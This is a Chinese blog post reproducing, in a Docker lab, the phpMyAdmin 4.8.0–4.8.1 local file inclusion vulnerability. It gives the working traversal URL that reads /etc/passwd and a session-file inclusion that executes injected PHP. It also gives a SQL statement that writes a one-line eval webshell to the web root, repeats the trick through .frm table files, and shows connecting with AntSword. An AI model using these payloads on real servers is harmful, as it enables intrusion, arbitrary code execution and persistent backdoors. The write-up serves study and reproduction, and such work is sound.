许久没有在CSDN更新博文了,主要是最近在自己搭建博客网站,已经初具形态,之后大部分博文都会发布在自己的博客网站上,少量的会同步在CSDN,小伙伴们可以去那里看我的一些学习分享呦😉
博客传送门:https://www.yyxzz.net
本文传送门:https://www.yyxzz.net/index.php/2020/09/29/58.html
0x00 简述
由于对index.php中包含文件的target参数未作严格的安全校验,导致可以被利用绕过白名单、黑名单校验从而进行本地文件包含,达到GetShell和命令执行的效果。
要想利用该漏洞,攻击者必须经过身份验证,但在这些情况下除外:
- $ cfg [‘AllowArbitraryServer’] =
true:攻击者可以指定他已经控制的任何主机,并在phpMyAdmin上执行任意代码 - $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
影响版本:
- Phpmyadmin 4.8.0
- Phpmyadmin 4.8.0.1
- Phpmyadmin 4.8.1
0x01 漏洞验证
Docker拉取靶场环境,创建靶场环境
浏览器访问8080端口,即可进入phpmyadmin界面,因为靶场用的是config方式的身份验证,因此不需要使用账号密码登录
根据漏洞报告和网上师傅们的复现文章,是在index.php文件处存在本地文件包含漏洞,所以验证代码如下:
http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
成功读取passwd文件
此时可以利用session文件写入phpinfo()木马,首先执行SQL语句:
select '<?php phpinfo() ?>';
然后F12查看此时用户的sessionID,也就是phpmyadmin的Cookie值,此值就是Mysql保存在本地的临时会话文件,使用以下url访问该临时文件,即可执行此前插入的木马语句:
http://192.168.11.12:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_8f36723f61b00567f291c3e7218be400
注意:需要将sess_后的内容改为自己当前的Cookie值
0x02 GetShell
1.利用sesion文件
执行以下SQL命令,同上方法访问临时session文件,即可php命令在网站目录下创建a.php并写入一句话
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;
蚁剑成功连接:
可打开虚拟终端和文件系统
2.利用数据库文件(frm表结构文件)
通过创建表并将字段名定义为一句话木马,随后利用包含访问该文件即可:
但是因为我在Docker上搭建的环境,Web和Mysql用的2个主机环境,也就是库站分离,所以无法包含数据库文件,但是可以在Mysql虚拟机里看到木马:
所以和上边session文件一样,只需要将数据库字段名设置为以下语句:
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;
然后包含相应的test.frm文件,即可执行命令在网站目录下创建一个a.php的木马
为了测试,我直接在Web主句目录下写入一个frm文件,然后在phpmyadmin中包含该文件: